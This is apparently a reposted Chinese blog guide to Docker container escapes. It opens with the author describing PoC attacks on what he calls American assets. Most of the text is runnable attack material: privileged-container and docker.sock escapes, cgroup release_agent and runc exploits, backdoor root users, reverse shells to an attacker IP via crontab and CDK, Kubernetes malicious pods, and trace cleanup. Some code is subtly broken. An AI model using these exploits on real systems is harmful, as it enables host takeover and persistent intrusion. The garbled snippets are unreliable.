【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南

admin 2025年6月3日16:24:06评论27 views字数 17188阅读57分17秒阅读模式

Docker技法

前言

最近在学一些常见nday的深度利用,于是就用一些nday的poc在阿美的资产里面遨游一下,正当我高高兴兴在拿下shell时,不是哥们!这玩意不对啊,怎么默认在一个为/app的目录下,其他主机反弹shell后都在root等home目录下,为什么就他不一样。定睛一看,原来是个docker,于是就趁此机会,好好汇总一下docker逃逸的技法!!!那就先从docker基础开始看看吧。

Docker基础

先判断Dcoker环境

ls / -la    #根目录下运行

出现关键词“.dockerenv”,如下

【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南

查看Docker状态

sudo systemctl status docker

列出所有docker环境

docker ps -a   #所有,报错未存活docker ps      #存活的docker

容器的详细信息

docker inspect <container-id or name>

进入运行中的容器bash

docker exec -it <container-id or name> bashdocker exec -it <container-id or name> shdocker exec -u 0 -it <container-id or name> bash   #root进入运行

查看Docker的版本(内部、宿主机通用)

docker -vdocker version  #更加详细

Docker渗透

Docker是主机下的镜像容器,他的bash、sh,并不等同于主机。相当于物理机下的虚拟机。有时候部分web站点可能就是docker搭建的,对于主机而言看似安全,其实不然。docker中也可能含有对主机有害的信息、渗透点,所以对于docker,我就总结了两种渗透方式,不过在这之前我们还是来了解了解docker的一个机制。挂载!

挂载

在docker中,挂载是一个很重要的概念,它往往与我们在渗透利用中挂钩,挂载大概来说就是docker的目录与宿主机的目录之间形成的映射,docker修改目录的内容,其宿主机默认也会进行同样的操作。但是docker会多一层权限限制,不过如果权限得当,则可以通过docker查看、修改、写入、执行文件,从而改变宿主机的目录、文件。

挂载的细节可以查看:https://blog.csdn.net/wang2leee/article/details/134453249

常规挂载操作

#在启动docker时进行挂载:docker run -v /proc:/host_proc  把宿主机的/proc挂载到docker的/host_proc#在docker内查看宿主机与docker的挂载关系mount        
【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南

上述proc、devpts这种没有指定目录的挂载一般是docker的默认挂载,对我们的渗透没什么帮助,可以忽略。不过如果是以/proc开始,我们就要仔细关注了,光挂载是不够的,我们还要看看其挂载之后的属性带来的阻碍和利用。

所以我们从渗透的角度,看看挂载结果后面括号中的属性

属性
作用
渗透利用示例
防御建议
ro/rw
控制文件系统只读或读写
rw

 权限下,可篡改 /etc/passwd,添加后门账户: echo 'eviluser:x:0:0::/:/bin/sh' >> /etc/passwd
关键目录(如 /etc)强制设为 ro
nosuid
禁用 SUID/SGID 权限
若未设置,可利用 SUID 程序提权(如 find / -perm -4000 查找可利用的 SUID 文件)
所有用户可控挂载点强制启用 nosuid
nodev
禁止创建设备文件
若未设置,可创建磁盘设备文件并挂载宿主机磁盘: mknod /dev/sda1 b 8 1 && mount /dev/sda1 /mnt
容器和非特权挂载点强制启用 nodev
noexec
禁止执行二进制文件
若未设置,可在可写目录(如 /tmp)上传并执行恶意程序: gcc exploit.c -o /tmp/exp && /tmp/exp
临时目录和用户可控分区启用 noexec
size=
限制文件系统大小(如 tmpfs
通过填满内存文件系统触发 DoS: dd if=/dev/zero of=/dev/shm/fill bs=1M count=65536
限制 size=64M 并监控使用情况
relatime
仅在文件修改时更新访问时间
通过监控访问时间推断敏感操作(如读取密钥文件): stat -c %x /etc/shadow
对敏感文件使用 noatime 完全禁用访问时间记录
mode=
设置目录/文件权限
若权限过松(如 mode=777),可篡改配置文件: echo 'ALL ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
遵循最小权限原则(如 mode=755 目录、644 文件)
inode64
允许 64 位 inode(用于大容量存储)
结合文件系统漏洞绕过路径限制(如利用 XFS inode 溢出漏洞 CVE-2018-14634)https://github.com/luan0ap/cve-2018-14634
仅在内核 ≥4.16 时启用,并定期更新内核
gid=
设置默认组 ID
若组权限配置错误(如 gid=0),可通过组权限读取敏感文件: ls -l /etc/shadow → 发现组为 root 可读
避免将敏感目录的组 ID 设为特权组(如 gid=0
ptmxmode=
设置伪终端设备权限
若权限过松(如 ptmxmode=666),可劫持终端会话: cat /dev/ptmx > /tmp/log
设置为 ptmxmode=620 并限制访问组
lowerdir=
OverlayFS 的只读层路径
路径遍历漏洞(如 CVE-2021-41091): mkdir /merged && mount -t overlay overlay -o lowerdir=/etc,upperdir=/upper,workdir=/work /merged → 通过 /merged/passwd 读取宿主机文件
严格限制 lowerdir 路径,禁止包含敏感目录
nsdelegate
启用 Cgroup 命名空间委托
通过创建子 Cgroup 绕过资源限制(如 CPU/内存): mkdir /sys/fs/cgroup/cpu/attacker && echo $$ > /sys/fs/cgroup/cpu/attacker/tasks
仅在需要时启用,配合 memory_recursiveprot
memory_recursiveprot
防止子 Cgroup 绕过内存限制
若未设置,可在子 Cgroup 中禁用内存限制: echo 0 > /sys/fs/cgroup/memory/attacker/memory.limit_in_bytes
Cgroup v2 强制启用此参数

基础了解完了,我们就步入正题——docker渗透!!!

1、信息泄露

当我们拿下了docker的shell之后,可能docker中的服务会有一些敏感信息泄露,例如nacos等服务其中可能就含有数据库的连接文件之类的。还有就是挂载了宿主的一些目录也可能存在一些泄露,如下面

mount | grep -E '/etc|/dev|/proc|/sys|/var/run'   #通过检索可能的敏感挂载

检索到了下面的内容,我们进一步看一看

【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南

我最先关注点在/dev/sda

一般而言/dev/sda就是宿主机主要磁盘,其中会包含/dev/sda1、/dev/sda2、/dev/sda3等多个分区...,其中就挂载着根目录,所以我们的关注点大多在这个挂载之下,那就看看上面的/dev/sda2挂载情况

【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南

看看这是什么?就不用多说了吧,hiahia!!!其次可以猜测,/dev/sda2可能是根目录,我们可以试试

紧接着我了解一下docker逃逸

2、Docker逃逸

在一些特定的情况下,可能存在从Docker逃逸到主机的方法,下面我们来一一介绍

Docker逃逸思路:

1、危险配置导致的逃逸

2、软件主键导致的逃逸

3、内核漏洞逃逸

4、网络与API攻击

5、特殊环境逃逸

一、危险配置导致的逃逸

1. Docker UNIX Socket 挂载

Docker UNIX Socket(/var/run/docker.sock)是Docker守护进程(dockerd)与客户端通信的接口,默认以root权限运行。当容器挂载此Socket时,容器内的进程可通过Socket直接与宿主机Docker守护进程交互,继承守护进程的高权限,从而绕过容器隔离限制,实现对宿主机的控制。

前置:容器启动时挂载宿主 /var/run/docker.sock

# 在运行alpine容器时挂载 Docker Socketdocker run -v /var/run/docker.sock:/var/run/docker.sock -it alpine sh 

利用:调用 Docker API 创造特权容器并挂载宿主文件系统

# 进入容器后查看是否有挂载ls -l /var/run/docker.sock  # 检查文件是否存在mount | grep docker.sock    # 确认挂载来源
【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南

上面就是没有挂载。若输出显示 docker.sock 的属主为 root 且权限为 rw(如 srw-rw---- 1 root docker),则运行下面命令来逃逸

docker -H unix:///var/run/docker.sock run -v /:/host --privileged -it --rm alpine chroot /host sh#这个命令相当于在docker内部建立了一个,宿主机的根目录下的root的shell命令行

执行后即可以 root 身份访问宿主 / 目录。

2. 特权模式(--privileged)

通过赋予容器与宿主机相同的 root 权限,绕过命名空间隔离,使可能够直接挂载宿主机文件系统(如 -v /:/host)并通过 chroot 切换根目录,从而在容器内获得宿主机 root shell 的完整控制权,实现容器到宿主机的权限突破。

前置:容器以特权模式启动

docker run --privileged -v /:/mnt -it alpine sh

利用:挂载宿主磁盘并 chroot

cat /proc/self/status | grep CapEff  # 特权容器 CapEff=0000003fffffffffmount | grep '/mnt'# 查看是否挂载宿主机根目录
【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南

这明显就没有以特权启动docker,而是以普通权限CapEff: 00000000a80425fb,如果是以高权限用户,则使用一下命令即可逃逸

# 在容器内mount /dev/sda1 /mnt                # 挂载宿主根分区chroot /mnt /bin/sh                 # 切换到宿主环境

之后可直接修改 /etc/passwd、植入 SSH 公钥等。

接下来就是有些危险挂载

3.Procfs 危险挂载

1. Procfs 挂载原理

/proc目录 是 Linux 内核提供的虚拟文件系统,用于实时暴露进程、硬件、内核参数等信息。如果容器开启时挂载了宿主机的/proc目录,我们则可以通过docker直接访问到主机的进程信息。

1、读取环境变量:目录/proc/1/environ,其中含有关键信息,并且如果配置不当会可以用于提权,这里扔一个环境变量提权的方法汇总:https://www.anquanke.com/post/id/146799#h2-0)

2、内核漏洞利用:通过 /proc/sys/kernel 可写路径(如 core_pattern)或符号链接(如 /proc/[PID]/root),触发内核漏洞(如 Dirty Pipe)或直接访问宿主机文件系统。

3、敏感信息泄露/proc/self/mountinfo 泄露容器运行时路径,/proc/1/environ 泄露宿主机环境变量。

2. Procfs 探测方法

2.1 基础检测

# 检查是否挂载宿主机 /procmount | grep '/proc' | grep -v 'tmpfs'#有弊端,需要自己判断一下
【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南

上面这种情况就是属于docker自身的进程,默认挂载,只有出现/proc on /xxx_proc这种最前面时/proc时才是挂载了宿主机的进程

#假设把宿主的/proc挂载到了/host_proc,则如下进行,验证读写权限(示例输出:rw 表示可写)grep '/host_proc' /proc/self/mountinfo | grep -o 'rw' | xargs -I {} echo"[!] /proc 权限: {}"

2.2 信息泄露验证

# 查看宿主机进程树(PID 1 是否为 dockerd?)cat /host_proc/1/cmdline | tr'�'' '# 检查宿主机内核版本(判断漏洞影响)cat /host_proc/version | grep -E "5.8|5.10|5.15"# Dirty Pipe 影响范围

3. Procfs 利用方法

3.1 信息收集

# 定位宿主机容器运行时路径(如 runC、Docker)cat /host_proc/1/mountinfo | grep 'docker/containers' | awk '{print $5}'

3.2 Dirty Pipe 覆盖宿主机二进制

# 1. 编写 PoC 覆盖宿主机 runC(需内核版本符合条件)cat > exploit.c <<EOF#include <fcntl.h>#include <unistd.h>int main(int argc, char **argv) {  int fd = open(argv[1], O_RDWR);  lseek(fd, 0, SEEK_SET);  write(fd, "MALICIOUS_BYTES", 14);  # 替换为恶意代码  close(fd);}EOF# 2. 编译并攻击gcc exploit.c -o exploit./exploit /host_proc/usr/bin/runc  # 路径需根据信息收集调整

3.3 符号链接穿透

# 通过宿主机 PID 1 的 root 链接访问文件cat /host_proc/1/root/etc/shadow  # 直接读取宿主机 Shadow 文件

4.Cgroup 危险挂载

1. Cgroup 挂载原理

  • • 功能:Cgroup 是 Linux 资源控制机制,用于限制进程的 CPU、内存等资源。
  • • 风险点:
    • • release_agent 逃逸:若容器挂载可写的宿主机 Cgroup(如 -v /sys/fs/cgroup:/host_cgroup),可配置 release_agent 在宿主机执行任意命令。
    • • 资源耗尽攻击:滥用 Cgroup 子系统(如 memory)触发内核 OOM Killer,干扰宿主机服务。
    • • 子系统漏洞:特定子系统(如 devices)配置错误可能导致权限提升。

2. Cgroup 探测方法

2.1 基础检测

# 检查是否挂载宿主机 Cgroupmount | grep '/sys/fs/cgroup' | grep -v 'tmpfs'
【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南

这也是dockers自身的默认挂载,只有出现/sys/fs/cgroup on /xxx_cgroup这种才是有漏洞的

#如果挂载了/sys/fs/cgroup,验证读写权限(示例输出:rw 表示可写)grep '/host_cgroup' /proc/self/mountinfo | grep -o 'rw' | xargs -I {} echo"[!] Cgroup 权限: {}"

2.2 release_agent 漏洞验证

# 尝试写入 release_agent(路径需宿主机可访问)echo"/tmp/payload" > /host_cgroup/release_agent 2>/dev/nullif [ $? -eq 0 ]; thenecho"[!] release_agent 可配置,存在逃逸风险!"fi# 检查是否允许创建新 Cgroupmkdir -p /host_cgroup/test && mount -t cgroup -o memory cgroup /host_cgroup/test 2>/dev/nullif [ $? -eq 0 ]; thenecho"[!] 可创建新 Cgroup(高危)!"  umount /host_cgroup/test && rmdir /host_cgroup/testfi

3. Cgroup 利用方法

3.1 release_agent 逃逸

# 1. 创建恶意 Cgroupcg_dir="/host_cgroup/exploit"mkdir -p $cg_direcho 1 > $cg_dir/notify_on_release  # 启用释放通知# 2. 设置宿主机执行路径(需路径转换,如 Docker 路径)host_path=$(cat /proc/self/mountinfo | grep 'docker/overlay2' | awk '{print $4}' | cut -d '/' -f 1-4)echo"$host_path/tmp/payload.sh" > /host_cgroup/release_agent# 3. 编写 Payloadcat > /tmp/payload.sh <<EOF#!/bin/shecho "eviluser:x:0:0::/:/bin/sh" >> /etc/passwd  # 添加 root 用户EOFchmod +x /tmp/payload.sh# 4. 触发执行sh -c "echo $$ > $cg_dir/cgroup.procs"# 进程退出时触发

3.2 资源耗尽攻击

# 创建内存限制 Cgroup 并触发 OOMmkdir -p /host_cgroup/memory/oom_testecho"1000000" > /host_cgroup/memory/oom_test/memory.limit_in_bytesecho"0" > /host_cgroup/memory/oom_test/memory.swappinessecho $$ > /host_cgroup/memory/oom_test/cgroup.procstail /dev/zero | head -c 1000000000  # 触发 OOM Killer

二、软件组件漏洞利用

1. runC 漏洞(CVE‑2019‑5736)

可通过容器内恶意进程利用 /proc/[runc-PID]/exe 路径访问宿主机上的 runc 二进制文件,以可写方式覆盖其内容,当宿主机管理员执行 docker exec 等操作时,触发被篡改的 runc 执行任意代码(如反弹 Shell 或修改系统文件),最终以宿主机 root 权限突破容器隔离实现逃逸

前置:宿主 Docker ≤18.09.2,runC 未修补

# 在容器内下载并编译 PoCgit clone https://github.com/Frichetten/CVE-2019-5736-PoC.gitcd CVE-2019-5736-PoCgo build main.go./main要修改Poc中反弹shell的命令

成功后 PoC 会在宿主机 /tmp 下生成反弹 Shell。

很遗憾这个docker的版本太高了

【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南

不过也试试,可以看到好像是成功了,但是还是监听状态,等一阵之后再去看,貌似确实没上东西,希望不大

【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南

无从下手啊,看下一个

2. docker cp 符号链接漏洞(CVE‑2019‑14271)

1. 漏洞核心机制

Docker 的 docker cp 命令在复制文件时,会调用辅助进程 docker-tar,该进程以宿主机 root 权限运行且 未完全容器化(未隔离 seccomp/cgroups)。当 docker-tar 通过 chroot 进入容器文件系统时,会加载容器内的动态库(如 libnss_files.so),而可替换这些库注入恶意代码。所以说总的来说也是一个监听,需要宿主机进行交互才能实现

2. 漏洞利用步骤

(1)前置条件

  • • Docker 版本:19.03.1以上以及18.09以下都不受影响
  • • 容器权限:普通权限容器即可,无需特权模式

大概思路:

1、找到libnss_files.so.2的源码,一般选取nss路径下的files-init.c源文件。

2、在源码中加入链接时启动代码(run_at_link),并定义要执行的恶意函数。

(2)注入恶意动态库

  1. 1. 编译恶意 so 库:找到libnss_files.so.2的源码(https://ftp.gnu.org/gnu/glibc/glibc-2.31.tar.bz2下载glibc库,这里以`nss`路径下的`files-init.c`源文件为例),添加恶意代码。以下是一段示例恶意代码(实际操作中可根据测试需求修改):
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"boolis_priviliged();__attribute__ ((constructor)) voidrun_at_link(void){char * argv_break[2];if (!is_priviliged())return;    rename(ORIGINAL_LIBNSS, LIBNSS_PATH);if (!fork())    {// Child runs breakout        argv_break[0] = strdup("/breakout");        argv_break[1] = NULL;        execve("/breakout", argv_break, NULL);    }else        wait(NULL); // Wait for childreturn;}boolis_priviliged(){    FILE * proc_file = fopen("/proc/self/exe", "r");if (proc_file != NULL)    {        fclose(proc_file);returnfalse; // can open so /proc exists, not privileged    }returntrue; // we're running in the context of docker-tar}

使用 GCC 等编译器将修改后的源码编译成恶意的libnss_files.so.2库。假设源码文件名为malicious_libnss.c,在终端执行编译命令gcc -shared -fPIC -o libnss_files.so.2 malicious_libnss.c

准备恶意执行脚本(breakout 程序):编写一个简单的脚本作为恶意执行的程序,例如创建一个文件来证明漏洞利用成功。在测试主机上创建breakout文件,内容如下:

#!/bin/bashecho"Exploit successful!" > /tmp/exploit_success.txt

赋予breakout文件可执行权限,执行chmod +x breakout

将恶意文件放入容器:将编译好的恶意libnss_files.so.2breakout文件复制到运行中的容器内。执行docker cp libnss_files.so.2 vulnerable:/lib/x86_64-linux-gnu/docker cp breakout vulnerable:/ ,vulnerable为容器名称。

当主机上执行docker cp命令,从容器内复制文件到宿主机,触发漏洞。例如执行docker cp vulnerable:/etc/passwd /tmp/ ,此时会触发恶意libnss_files.so.2中的代码。执行完docker cp命令后,检查测试主机上的/tmp/exploit_success.txt文件是否存在。若存在,则说明漏洞复现成功,证明宿主机执行了容器内恶意代码。

漏洞复现全过程:https://blog.csdn.net/qq_41667409/article/details/121557358

很明显我这个docker版本肯定不存在该逃逸漏洞,主要证明就是,docker下的lib/x86_64-linux-gnu/都没有libnss_files.so.2文件

3. containerd‑shim 漏洞(CVE‑2020‑15257)

可在以 --net=host 模式启动的容器(需 root 权限)中,通过访问宿主机共享网络命名空间内的 containerd-shim 抽象 Unix 域套接字,调用其暴露的 API(如创建新容器或执行命令)并挂载宿主机根目录到容器路径,从而以宿主机 root 权限突破容器隔离并控制宿主机。

前置

Docker 版本:containerd <1.3.9 或 <1.4.3(Docker 版本通常对应 19.03.6 及以下)

容器启动方式:需以 --net=host 模式运行,共享宿主机的网络命名空间,暴露 containerd-shim 的抽象 Unix 域套接字

docker run --net=host -it --pid=host alpine sh

2. 漏洞检测

  1. 1. 确认容器网络模式在容器内执行:

    cat /proc/net/unix | grep 'containerd-shim' | grep '@'

    若输出类似

    @/containerd-shim/{sha256}.sock

    的路径,则存在暴露的套接字

3. 利用工具(自动化工具 CDK)

  1. 1. 上传 CDK 到容器
    • • 若容器支持文件上传,直接下载并赋予执行权限:

      wget https://github.com/cdk-team/CDK/releases/download/v1.5.0/cdk_linux_amd64 -O cdkchmod +x cdk
    • • 若容器无网络,可通过 nc 传输文件:

      # 宿主机监听端口(假设端口为 9999)nc -lvp 9999 < cdk# 容器内接收文件cat < /dev/tcp/宿主机IP/9999 > cdkchmod +x cdk
  2. 2. 执行逃逸命令
    • • 反弹 Shell 到攻击机(需攻击机监听端口):

      ./cdk run shim-pwn reverse 攻击机IP 监听端口
    • • 直接执行宿主机命令

      ./cdk run shim-pwn "echo 'root::0:0::/:/bin/bash' >> /host_fs/etc/passwd"  # 示例:修改宿主机密码文件

4. 手动利用(调用 containerd-shim API)

  1. 1. 定位套接字路径通过 /proc/net/unix 获取 containerd-shim 套接字路径(如 @/containerd-shim/abc123.sock
  2. 2. 调用 API 创建恶意容器使用工具(如 grpcurl)与套接字交互,创建挂载宿主机根目录的容器:

    # 示例:通过创建新容器挂载宿主机根目录到容器内grpcurl -unix /containerd-shim/abc123.sock containerd.runtime.v1.Shim/CreateTask   <<< '{"id":"evil", "bundle":"/tmp", "rootfs": ["type=bind,source=/,destination=/host_fs,options=rbind"]}'

    成功挂载后,通过容器内的 /host_fs 目录可直接读写宿主机文件系统

  3. 3. 提权与持久化写入 SSH 公钥

    echo 'ssh-rsa AAAAB3NzaC1y...' >> /host_fs/root/.ssh/authorized_keys

    修改 crontab

    echo "* * * * * root bash -c 'bash -i >& /dev/tcp/攻击机IP/端口 0>&1'" > /host_fs/etc/crontab

三、内核漏洞逃逸

为什么使用内核提权,因为Dcoker和宿主机是共享一个内核的,所以内核提权可以在Docker中实现提权的,但此处的提权仅限于在Docker内部,难道就不能实现docker逃逸了吗?可以,但是需要在特殊情况下!!!以下两种情况:

场景 是否逃逸到宿主机 依赖条件
仅容器内提权
漏洞仅覆盖容器内文件(如容器内 /etc/passwd),未挂载宿主机目录或调用宿主机接口。
宿主机逃逸
需满足 任意一项: 1. 容器挂载宿主机敏感目录(如 -v /:/host,挂载根目录)。 2. 容器拥有高危权限(如 CAP_DAC_READ_SEARCH)。

前置条件查看

查看挂载配置

mount | grep -E '/etc|/dev|/proc|/sys|/var/run'

危险挂载示例:

/dev/sda1 on /host_fs type ext4 (rw)  # 宿主机根目录被挂载且可写,在大多数 Linux 系统中,/dev/sda1 通常就是宿主机的根分区(/)。

如果挂在了根目录,我们就可以把/host类比宿主机的根目录一样,例如:执行cat /host_fs/etc/passwd,效果就等同于在宿主机上执行cat /etc/passwd

2. 检查容器的 Capabilities(高危权限)

cat /proc/1/status | grep CapEff

输出解读:

  • • CapEff: 0000003fffffffff → 拥有几乎所有权限(特权容器)。
  • • CapEff: 00000000a80425fb → 普通权限(安全配置)。

1. Dirty Pipe(CVE‑2022‑0847)

Dirty Pipe 是 Linux 内核 5.8 及以上版本中存在的一个本地提权漏洞,允许非特权用户通过覆写只读文件的页面缓存(如 /etc/passwd)实现权限提升。其核心原理是管道缓冲区标志位 PIPE_BUF_FLAG_CAN_MERGE 未正确初始化,导致可可通过拼接(splice)和写入(write)操作覆盖目标文件内容

前置:Linux 内核 ≥5.8 且未打补丁

uname -a  # 检查内核版本是否符合漏洞范围git clone https://github.com/JlSakuya/CVE-2022-0847-container-escape.gitcd CVE-2022-0847-container-escapegcc exploit.c -o exploitmsfvenom -p linux/x64/exec CMD="bash" -f elf > shell.elf./exploit /usr/bin/runC shell.elf

PoC 会将 runC 替换为可执行 Shell 的 ELF,执行 docker exec 即获得宿主 Shell。

配合

挂载的利用就很轻松了,这里直接给出配合高危权限(CapEff: 0000003fffffffff)的利用过程

步骤 1:确认容器权限

# 在容器内检查 Capabilitiescat /proc/1/status | grep CapEff
  • • 输出示例CapEff: 0000003fffffffff(包含 CAP_DAC_READ_SEARCH,16进制值中的第2位为 1)。

步骤 2:获取宿主机文件句柄

利用 open_by_handle_at 系统调用访问宿主机文件:

// 示例代码:获取宿主机 /etc/passwd 的文件描述符#define _GNU_SOURCE#include <fcntl.h>#include <sys/types.h>int main() {    struct file_handle *handle;    int mount_id;    char buf[256];    // 获取挂载点信息(需 CAP_DAC_READ_SEARCH)    sprintf(buf, "/etc/passwd");    handle = (struct file_handle *)malloc(sizeof(struct file_handle) + 256);    handle->handle_bytes = 256;    // 调用 open_by_handle_at    int fd = open_by_handle_at(AT_FDCWD, handle, O_RDWR);    return fd; // 返回文件描述符}
  • • 编译并运行:

    gcc get_fd.c -o get_fd./get_fd

步骤 3:结合 Dirty Pipe 覆盖文件

使用 Dirty Pipe EXP(如 CVE-2022-0847 PoC)修改宿主机文件:

# 通过获取的文件描述符覆盖宿主机 /etc/passwd./dirtypipe /proc/self/fd/<返回的fd> 1 "evilroot::0:0::/:/bin/bashn"
  • • 关键参数:
    • • /proc/self/fd/<fd>:通过文件描述符指向宿主机文件。
    • • 1:从文件第1字节后开始覆盖。
    • • evilroot::...:添加无密码 root 用户。

步骤 4:验证逃逸

在宿主机执行:

su evilroot  # 直接获得宿主机 root 权限

后面的利用利用过程是差不多的,只是利用路径、内核提权的方式不同,所以依葫芦画瓢去做就行了,just do it!!!

2. Dirty COW(CVE‑2016‑5195)

通过触发 Linux 内核内存管理子系统中的写时复制(Copy-on-Write)竞态条件漏洞,在容器内以普通用户权限对宿主机挂载的只读文件(如 /etc/passwd)发起并发内存映射操作(madvise 与 mprotect),绕过文件权限检查,直接修改宿主机文件内容(如插入 evilroot::0:0::/:/bin/bash),从而在宿主机层面注入特权用户,最终通过 su 或 SSH 认证获得宿主机 root 权限,穿透容器命名空间隔离。

前置:内核未修补 Dirty COW

git clone https://github.com/mdsecactive/DirtyCOW.gitcd DirtyCOWgcc dirtyc0w.c -o dirtyc0w -pthread./dirtyc0w /etc/passwd "root::0:0:root:/root:/bin/bash"

将 /etc/passwd 中 root 密码字段清空,实现本地提权。

3. Polkit 提权(CVE‑2021‑4034 PwnKit)

可在容器内通过伪造环境变量(如 GCONV_PATH)诱使宿主机上的 pkexec 工具加载恶意代码,利用其 SUID 权限以宿主机 root 身份执行任意命令(如反弹 Shell 或篡改文件),从而突破容器隔离控制宿主机。

前置:Polkit (pkexec) 未修补

git clone https://github.com/antonioCoco/PwnKit.gitcd PwnKitgcc pwn.c -o pwnkit./pwnkit

利用 pkexec 漏洞获得 root,然后结合挂载进入宿主系统。

四、网络与 API 攻击

1. 未授权 Docker Remote API

未配置认证的 Docker Remote API(如 2375 端口)远程创建privileged特权容器,或挂载宿主机根目录(如 -v /:/mnt),利用容器内进程对挂载目录的读写权限直接篡改宿主机敏感文件(如 /root/.ssh/authorized_keys 或 /etc/crontab),从而植入后门或反弹 Shell,最终绕过容器隔离以宿主机 root 权限执行任意命令

前置:Docker daemon 暴露 2375 端口且无 TLS 认证

# 远程拉取并运行特权容器docker -H tcp://TARGET:2375 pull alpinedocker -H tcp://TARGET:2375 run -v /:/host --privileged -it alpine chroot /host sh

获得宿主机 root Shell。

2. Kubernetes API 滥用

Kubernetes错误配置,导致可以创建Pod,通过给 Kubernetes 集群中配置不当的 RBAC 权限或 Pod 安全策略(如允许创建特权容器或挂载宿主机目录),利用 API 创建挂载宿主机根目录(如 hostPath: /)的恶意 Pod,在容器内直接读写宿主机文件系统(如篡改 /etc/crontab 或写入 SSH 密钥),从而以宿主机 root 权限执行任意命令,突破容器隔离控制集群节点。

前置:容器内可访问 /var/run/secrets/kubernetes.io/serviceaccount,需要用户登录认证,保证能使用Kubernetes API

# 提取 TokenTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)# 提取 CA 证书CA_CERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"# 获取当前命名空间(通常为 Pod 所属的 Namespace)NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)# 获取 Kubernetes API Server 地址(通常是内部地址)API_SERVER="https://kubernetes.default.svc"

2. 配置 kubectl 使用 ServiceAccount Token

如果容器内已安装 kubectl,可直接配置临时访问:

# 生成临时 kubeconfig 文件kubectl config set-cluster k8s --server="$API_SERVER" --certificate-authority="$CA_CERT"kubectl config set-credentials sa-user --token="$TOKEN"kubectl config set-context sa-context --cluster=k8s --user=sa-user --namespace="$NAMESPACE"kubectl config use-context sa-context

3. 创建挂载宿主机目录的恶意 Pod

使用提供的 YAML 文件 escape-pod.yaml(下面):

# 检查是否具备创建 Pod 的权限kubectl auth can-i create pods --as=system:serviceaccount:$NAMESPACE:default# 提交恶意 Pod 配置kubectl apply -f escape-pod.yaml

4. 进入恶意 Pod 并逃逸到宿主机

# 进入 Pod 的容器kubectl exec -it hostpath-escape -- sh# 通过 chroot 切换根目录到宿主机文件系统chroot /host sh# 此时已进入宿主机环境,可执行任意操作echo "evilroot::0:0::/:/bin/bash" >> /etc/passwd  # 示例:添加后门用户

5. 清理痕迹(可选)

# 删除恶意 Podkubectl delete pod hostpath-escape

无 kubectl 工具时的替代方案(直接调用 API)

若容器内无 kubectl,可使用 curl 直接操作 Kubernetes API:

# 步骤1:在容器内提取集群信息TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)CA_CERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)API_SERVER="https://kubernetes.default.svc"# 步骤2:生成恶意 Pod YAML 文件cat <<EOF > escape-pod.yamlapiVersion: v1kind: Podmetadata:  name: hostpath-escapespec:  containers:  - name: escape    image: alpine    command: ["sh","-c","sleep 3600"]    volumeMounts:    - name: host-root      mountPath: /host  volumes:  - name: host-root    hostPath:      path: /EOF# 步骤3:构造 API URL 并发送请求API_URL="$API_SERVER/api/v1/namespaces/$NAMESPACE/pods"curl -k -X POST -H "Authorization: Bearer $TOKEN"   -H "Content-Type: application/yaml"   --data-binary @escape-pod.yaml   --cacert "$CA_CERT"   "$API_URL"

利用 ServiceAccount Token 调用 kubectl 创建此 Pod。

五、特殊环境逃逸

1. macOS 容器逃逸

前置:Docker Desktop for Mac 使用 HyperKit

# 挂载宿主 docker.sock 并启动docker run -v /var/run/docker.sock:/var/run/docker.sock -it alpine sh# 同“Unix Socket 挂载”方法,创建特权容器docker -H unix:///var/run/docker.sock run -v /:/host --privileged -it alpine chroot /host sh

集成在多数通用 PoC 工具中。

2. Windows 容器逃逸

前置:利用 Hyper‑V 隔离或 Windows 内核漏洞

# 在 Windows 容器内下载并执行 PoCInvoke-WebRequest-Uri https://example.com/CVE-2021-34484-WindowsEscape.exe -OutFile C:exploit.exe.exploit.exe

PoC 会利用指定 CVE 提权并脱离容器沙箱。

清理痕迹

docker container prune -fdocker image prune -af

原文始发于微信公众号(The One安全):【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月3日16:24:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【容器安全】Docker逃逸技法大全:从基础到实战,突破容器隔离的终极指南http://cn-sec.com/archives/4127620.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息